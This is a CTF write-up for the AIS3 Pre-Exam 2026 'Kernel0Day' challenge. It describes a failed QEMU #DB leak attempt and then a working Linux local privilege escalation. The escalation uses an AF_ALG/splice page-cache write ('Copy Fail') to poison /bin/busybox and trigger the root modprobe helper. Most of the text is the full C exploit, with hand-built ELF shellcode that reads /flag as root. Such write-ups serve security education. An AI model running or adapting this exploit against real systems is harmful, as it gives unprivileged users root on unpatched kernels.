【AIS3 Pre-Exam 2026 Writeup】Misc - Kernel0Day
I started from run.sh and /init, because there was no normal userland source.
qemu-system-x86_64 \
-m 128M \
-kernel ./bzImage \
-initrd ./rootfs.cpio.gz \
-append "console=ttyS0 root=/dev/ram rdinit=/init rw oops=panic panic=1 quiet kaslr" \
-nographic \
-chardev stdio,id=s0,mux=on,signal=off \
-serial chardev:s0 \
-mon chardev=s0,mode=readline \
-no-reboot \
-cpu kvm64,+smep,+smap \
-smp 1 \
-enable-kvm
The boot flags already say a lot. KASLR is on. SMEP and SMAP are enabled. Only one CPU. The guest runs under QEMU/KVM.
/init also sets the kernel restrictions:
echo 1 > /proc/sys/kernel/dmesg_restrict
echo 1 > /proc/sys/kernel/kptr_restrict
echo 2 > /proc/sys/kernel/perf_event_paranoid
User shell is started through BusyBox:
setsid cttyhack su -l user
/bin/su was only a symlink to BusyBox. Not SUID.
Some quick remote checks:
uname -a
cat /proc/cmdline
cat /proc/cpuinfo | sed -n '1,40p'
ls -l /flag
find / -perm -4000 -type f 2>/dev/null
The useful results:
Linux localhost 6.1.81 #1 SMP PREEMPT_DYNAMIC Thu Mar 7 12:17:31 UTC 2024 x86_64 GNU/Linux
model name : QEMU Virtual CPU version 2.5+
flags : ... hypervisor ... smep smap
-r-------- 1 root root 70 /flag
find showed no SUID files. That removed the easy public PoC route later.
There was a hint file:
cat /home/user/.hint.txt
https://kqx.io/post/qemu-nday/
So my first idea was QEMU n-day. I was not sure if the task wanted a Linux kernel bug or a QEMU bug. The hint made QEMU worth trying first.
I extracted symbols from bzImage:
vmlinux-to-elf bzImage vmlinux.elf
GDB was useful only for checking addresses and per-cpu offsets:
gdb -q -batch \
-ex 'file vmlinux.elf' \
-ex 'info address __sys_setuid' \
-ex 'info address modprobe_path' \
-ex 'info address kptr_restrict' \
-ex 'info address cpu_tss_rw' \
-ex 'info address gdt_page' \
-ex 'info address entry_stack_storage'
The values matched the offsets I needed for the QEMU route:
__sys_setuid = 0xffffffff811ab3b0
modprobe_path = 0xffffffff83877760
kptr_restrict = 0xffffffff83b7ad20
cpu_tss_rw = 0x6000
gdt_page = 0xb000
entry_stack_storage = 0x18000
The QEMU plan was:
trigger #DB
-> leak bytes near GDT / IST state
-> recover physmap
-> patch TSS I/O bitmap
-> allow userland I/O port access
-> use QEMU fw_cfg DMA
-> patch guest kernel memory
It worked locally with my QEMU setup, but remote crashed:
[*] triggering #DB to seed the exception stack
[*] physmap = 0xffff000000000000
[*] gdt = 0xfffffe0000001000
[*] sp0 pt_regs = 0x7a18f58
[*] patching TSS I/O bitmap base at 0xffff000007a06066
Segmentation fault
The physmap value looked suspicious. If that value is wrong, the TSS patch goes to the wrong address. I did not trust the full exploit anymore, so I wrote a leak-only probe.
The probe used sgdt to read GDT base from userland:
sgdt [buf]
Then it used ptrace hardware watchpoint to trigger #DB. After that, it tried the QEMU leak trick by setting rsp to a kernel address and executing iretq. The SIGSEGV handler read REG_ERR from ucontext.
Remote result:
before trigger gdt=0xfffffe0000001000 ist3=0xfffffe0000010fc8
after trigger
off=-32 raw=0x0000000000000005 byte=0x00
...
off=+63 raw=0x0000000000000005 byte=0x00
0x5 is just a normal page fault error code. Every offset gave the same value. No leak. No physmap. No QEMU path.
I went back to the other hint from the web page: Copy Fail.
First I tested the primitive on a file in /tmp. The exploit writes 4 bytes into a read-only opened file through AF_ALG and splice.
The important setup:
AF_ALG
type = aead
name = authencesn(hmac(sha256),cbc(aes))
sendmsg(..., MSG_MORE)
splice(file -> pipe)
splice(pipe -> alg socket)
The self-test wrote PWN! into /tmp/cf_test_file page cache. It read back as:
XXXXXXXXPWN!XXXX
That means the page cache write works. It does not write to disk directly, but new readers can see the poisoned page.
The public Copy Fail idea usually patches a SUID binary. Here there was no SUID. No trigger, no path.
I tried another idea: patch /init tail and exit the user shell, hoping PID 1 would continue and print /flag. It did not give a usable result. BusyBox shell likely already buffered the script, and the web terminal also closes when the session exits.
Patching BusyBox and then asking the shell to run commands was also bad. After /bin/busybox page cache is poisoned, cat, chmod, sh, and many other commands may just execute my payload as user. That breaks the control flow.
The working trigger was modprobe.
When Linux tries to execute an unknown binary format, it can call /sbin/modprobe from the kernel helper path. That helper runs as root. In this rootfs, /sbin/modprobe resolves to BusyBox.
So the final chain became:
Copy Fail page-cache write
-> replace beginning of /bin/busybox with tiny ELF payload
-> create /tmp/cf_bad with invalid executable bytes
-> execve("/tmp/cf_bad")
-> kernel triggers binfmt fallback
-> root helper runs /sbin/modprobe
-> modprobe loads poisoned BusyBox page cache
-> payload runs as root
The payload does not spawn a shell. It only reads /flag and writes it to /tmp/flagout.
Reason: stdout from modprobe helper is not reliable. A temp file is easier. The original exploit process is static and still alive, so it can open /tmp/flagout by itself.
Build:
x86_64-linux-gnu-gcc -Os -s -static -no-pie -fno-stack-protector \
-ffunction-sections -fdata-sections -Wl,--gc-sections \
-specs musl_local/musl-gcc.specs \
-o copyfail_bb copyfail_bb.c
The web terminal did not have normal base64, but BusyBox had uudecode and gunzip. I used a WebSocket uploader later, because pasting chunks by hand was painful.
CTFD_TOKEN='<token>' python3 remote_ws.py \
--upload copyfail_bb /tmp/copyfail_bb \
--cmd '/tmp/copyfail_bb; echo DONE'
Remote output:
[*] payload 220 bytes
....
[*] patched /bin/busybox page cache; triggering modprobe
AIS3{WHY_Need_K3rNeL_z3RO_D@y_wh3n_YOU_aLrEAdy_H@CKeD_the_HyPerVi$or}
DONE
A normal userland libc route was not useful. The rootfs only gave a BusyBox shell and kernel helpers; no printf parser or GOT target was in play. The useful surface was kernel page cache plus the root modprobe helper.
Full exploit:
#define _GNU_SOURCE
#include <arpa/inet.h>
#include <elf.h>
#include <errno.h>
#include <fcntl.h>
#include <signal.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/stat.h>
#include <sys/time.h>
#include <sys/uio.h>
#include <unistd.h>
#ifndef AF_ALG
#define AF_ALG 38
#endif
#ifndef SOL_ALG
#define SOL_ALG 279
#endif
#ifndef MSG_MORE
#define MSG_MORE 0x8000
#endif
#define ALG_SET_KEY 1
#define ALG_SET_IV 2
#define ALG_SET_OP 3
#define ALG_SET_AEAD_ASSOCLEN 4
#define ALG_SET_AEAD_AUTHSIZE 5
struct sockaddr_alg_compat {
uint16_t salg_family;
uint8_t salg_type[14];
uint32_t salg_feat;
uint32_t salg_mask;
uint8_t salg_name[64];
};
struct af_alg_iv_compat {
uint32_t ivlen;
uint8_t iv[16];
};
static void die(const char *msg) {
perror(msg);
exit(1);
}
static int open_alg(void) {
int afd = socket(AF_ALG, SOCK_SEQPACKET, 0);
if (afd < 0)
die("socket(AF_ALG)");
struct sockaddr_alg_compat sa;
memset(&sa, 0, sizeof(sa));
sa.salg_family = AF_ALG;
strcpy((char *)sa.salg_type, "aead");
strcpy((char *)sa.salg_name, "authencesn(hmac(sha256),cbc(aes))");
if (bind(afd, (struct sockaddr *)&sa, sizeof(sa)) < 0)
die("bind(authencesn)");
uint8_t key[40] = {0x08, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x10};
if (setsockopt(afd, SOL_ALG, ALG_SET_KEY, key, sizeof(key)) < 0)
die("setsockopt key");
if (setsockopt(afd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, NULL, 4) < 0) {
uint32_t zero = 0;
if (setsockopt(afd, SOL_ALG, ALG_SET_AEAD_AUTHSIZE, &zero, sizeof(zero)) < 0)
die("setsockopt authsize");
}
int ufd = accept(afd, NULL, NULL);
close(afd);
if (ufd < 0)
die("accept alg");
return ufd;
}
static void copyfail_write4(int filefd, size_t target_off, const uint8_t bytes[4]) {
int ufd = open_alg();
struct timeval tv = {.tv_sec = 0, .tv_usec = 200000};
setsockopt(ufd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv));
uint8_t data[8] = {'A', 'A', 'A', 'A', bytes[0], bytes[1], bytes[2], bytes[3]};
uint32_t op = 0;
uint32_t assoc = 8;
struct af_alg_iv_compat iv;
memset(&iv, 0, sizeof(iv));
iv.ivlen = 16;
uint8_t ctrl[CMSG_SPACE(sizeof(op)) + CMSG_SPACE(sizeof(iv)) + CMSG_SPACE(sizeof(assoc))];
memset(ctrl, 0, sizeof(ctrl));
struct iovec iov = {.iov_base = data, .iov_len = sizeof(data)};
struct msghdr msg;
memset(&msg, 0, sizeof(msg));
msg.msg_iov = &iov;
msg.msg_iovlen = 1;
msg.msg_control = ctrl;
msg.msg_controllen = sizeof(ctrl);
struct cmsghdr *c = CMSG_FIRSTHDR(&msg);
c->cmsg_level = SOL_ALG;
c->cmsg_type = ALG_SET_OP;
c->cmsg_len = CMSG_LEN(sizeof(op));
memcpy(CMSG_DATA(c), &op, sizeof(op));
c = CMSG_NXTHDR(&msg, c);
c->cmsg_level = SOL_ALG;
c->cmsg_type = ALG_SET_IV;
c->cmsg_len = CMSG_LEN(sizeof(iv));
memcpy(CMSG_DATA(c), &iv, sizeof(iv));
c = CMSG_NXTHDR(&msg, c);
c->cmsg_level = SOL_ALG;
c->cmsg_type = ALG_SET_AEAD_ASSOCLEN;
c->cmsg_len = CMSG_LEN(sizeof(assoc));
memcpy(CMSG_DATA(c), &assoc, sizeof(assoc));
if (sendmsg(ufd, &msg, MSG_MORE) < 0)
die("sendmsg alg");
int p[2];
if (pipe(p) < 0)
die("pipe");
size_t len = target_off + 4;
loff_t off = 0;
ssize_t n = splice(filefd, &off, p[1], NULL, len, 0);
if (n < 0)
die("splice file");
n = splice(p[0], NULL, ufd, NULL, len, 0);
if (n < 0)
die("splice alg");
uint8_t sink[4096];
recv(ufd, sink, sizeof(sink), 0);
close(p[0]);
close(p[1]);
close(ufd);
}
static size_t make_flag_payload(uint8_t *p, size_t cap) {
if (cap < 512)
die("payload cap");
memset(p, 0, cap);
Elf64_Ehdr *eh = (Elf64_Ehdr *)p;
memcpy(eh->e_ident, "\177ELF\2\1\1", 7);
eh->e_type = ET_EXEC;
eh->e_machine = EM_X86_64;
eh->e_version = EV_CURRENT;
eh->e_entry = 0x400078;
eh->e_phoff = sizeof(Elf64_Ehdr);
eh->e_ehsize = sizeof(Elf64_Ehdr);
eh->e_phentsize = sizeof(Elf64_Phdr);
eh->e_phnum = 1;
Elf64_Phdr *ph = (Elf64_Phdr *)(p + sizeof(Elf64_Ehdr));
ph->p_type = PT_LOAD;
ph->p_flags = PF_R | PF_X;
ph->p_offset = 0;
ph->p_vaddr = 0x400000;
ph->p_paddr = 0x400000;
ph->p_align = 0x1000;
uint8_t *q = p + 0x78;
uint8_t *lea_flag = q;
*q++ = 0x48; *q++ = 0x8d; *q++ = 0x3d; q += 4;
*q++ = 0x31; *q++ = 0xf6;
*q++ = 0x6a; *q++ = 0x02; *q++ = 0x58;
*q++ = 0x0f; *q++ = 0x05;
*q++ = 0x89; *q++ = 0xc7;
*q++ = 0x48; *q++ = 0x81; *q++ = 0xec; *q++ = 0x00; *q++ = 0x01; *q++ = 0x00; *q++ = 0x00;
*q++ = 0x48; *q++ = 0x89; *q++ = 0xe6;
*q++ = 0x31; *q++ = 0xd2; *q++ = 0xb6; *q++ = 0x01;
*q++ = 0x31; *q++ = 0xc0;
*q++ = 0x0f; *q++ = 0x05;
*q++ = 0x41; *q++ = 0x89; *q++ = 0xc2;
uint8_t *lea_out = q;
*q++ = 0x48; *q++ = 0x8d; *q++ = 0x3d; q += 4;
*q++ = 0xbe; *q++ = 0x41; *q++ = 0x02; *q++ = 0x00; *q++ = 0x00;
*q++ = 0xba; *q++ = 0xb6; *q++ = 0x01; *q++ = 0x00; *q++ = 0x00;
*q++ = 0x6a; *q++ = 0x02; *q++ = 0x58;
*q++ = 0x0f; *q++ = 0x05;
*q++ = 0x89; *q++ = 0xc7;
*q++ = 0x48; *q++ = 0x89; *q++ = 0xe6;
*q++ = 0x44; *q++ = 0x89; *q++ = 0xd2;
*q++ = 0x6a; *q++ = 0x01; *q++ = 0x58;
*q++ = 0x0f; *q++ = 0x05;
*q++ = 0x31; *q++ = 0xff;
*q++ = 0x6a; *q++ = 0x3c; *q++ = 0x58;
*q++ = 0x0f; *q++ = 0x05;
uint8_t *flag = q;
memcpy(q, "/flag\0", 6);
q += 6;
uint8_t *out = q;
memcpy(q, "/tmp/flagout\0", 13);
q += 13;
int32_t disp = (int32_t)((0x400000 + (flag - p)) - (0x400000 + (lea_flag - p) + 7));
memcpy(lea_flag + 3, &disp, sizeof(disp));
disp = (int32_t)((0x400000 + (out - p)) - (0x400000 + (lea_out - p) + 7));
memcpy(lea_out + 3, &disp, sizeof(disp));
size_t total = (size_t)(q - p);
total = (total + 3) & ~3UL;
ph->p_filesz = total;
ph->p_memsz = total;
return total;
}
static void write_payload_to_file(const char *path, const uint8_t *payload, size_t len) {
int f = open(path, O_RDONLY);
if (f < 0)
die("open target");
for (size_t off = 0; off < len; off += 4) {
uint8_t chunk[4] = {0, 0, 0, 0};
size_t n = len - off;
if (n > 4)
n = 4;
memcpy(chunk, payload + off, n);
copyfail_write4(f, off, chunk);
if ((off & 0x3f) == 0)
fprintf(stderr, ".");
}
fprintf(stderr, "\n");
close(f);
}
static void selftest(void) {
const char *path = "/tmp/cf_test_file";
int w = open(path, O_CREAT | O_TRUNC | O_WRONLY, 0644);
if (w < 0)
die("create test");
char buf[64];
memset(buf, 'X', sizeof(buf));
if (write(w, buf, sizeof(buf)) != (ssize_t)sizeof(buf))
die("write test");
close(w);
int f = open(path, O_RDONLY);
if (f < 0)
die("open test ro");
uint8_t pwn[4] = {'P', 'W', 'N', '!'};
copyfail_write4(f, 8, pwn);
close(f);
int r = open(path, O_RDONLY);
if (r < 0)
die("reopen test");
memset(buf, 0, sizeof(buf));
read(r, buf, sizeof(buf));
close(r);
write(1, buf, 16);
write(1, "\n", 1);
}
static void patch_init_tail(void) {
static const size_t tail_off = 418;
uint8_t patch[68];
memset(patch, ' ', sizeof(patch));
const char *script = "\n\ncat /flag\nsh\n#";
memcpy(patch, script, strlen(script));
patch[sizeof(patch) - 1] = '\n';
fprintf(stderr, "[*] patching /init tail\n");
write_payload_to_file("/init", patch, sizeof(patch));
fprintf(stderr, "[*] patched /init; exit twice to return to pid1\n");
}
static void make_modprobe_trigger(void) {
int fd = open("/tmp/cf_bad", O_CREAT | O_TRUNC | O_WRONLY, 0755);
if (fd < 0)
die("create trigger");
uint8_t bad[4] = {0xff, 0xff, 0xff, 0xff};
if (write(fd, bad, sizeof(bad)) != (ssize_t)sizeof(bad))
die("write trigger");
close(fd);
chmod("/tmp/cf_bad", 0755);
unlink("/tmp/flagout");
}
static void trigger_modprobe_and_print(void) {
char *argv[] = {"/tmp/cf_bad", NULL};
char *envp[] = {NULL};
execve("/tmp/cf_bad", argv, envp);
for (int i = 0; i < 50; i++) {
int fd = open("/tmp/flagout", O_RDONLY);
if (fd >= 0) {
char buf[256];
ssize_t n;
while ((n = read(fd, buf, sizeof(buf))) > 0)
write(1, buf, (size_t)n);
close(fd);
return;
}
usleep(100000);
}
fprintf(stderr, "[-] /tmp/flagout was not created\n");
}
int main(int argc, char **argv) {
if (argc > 1 && strcmp(argv[1], "--test") == 0) {
selftest();
return 0;
}
if (argc > 1 && strcmp(argv[1], "--patch-init") == 0) {
patch_init_tail();
return 0;
}
uint8_t payload[512];
size_t len = make_flag_payload(payload, sizeof(payload));
fprintf(stderr, "[*] payload %zu bytes\n", len);
make_modprobe_trigger();
write_payload_to_file("/bin/busybox", payload, len);
fprintf(stderr, "[*] patched /bin/busybox page cache; triggering modprobe\n");
trigger_modprobe_and_print();
return 0;
}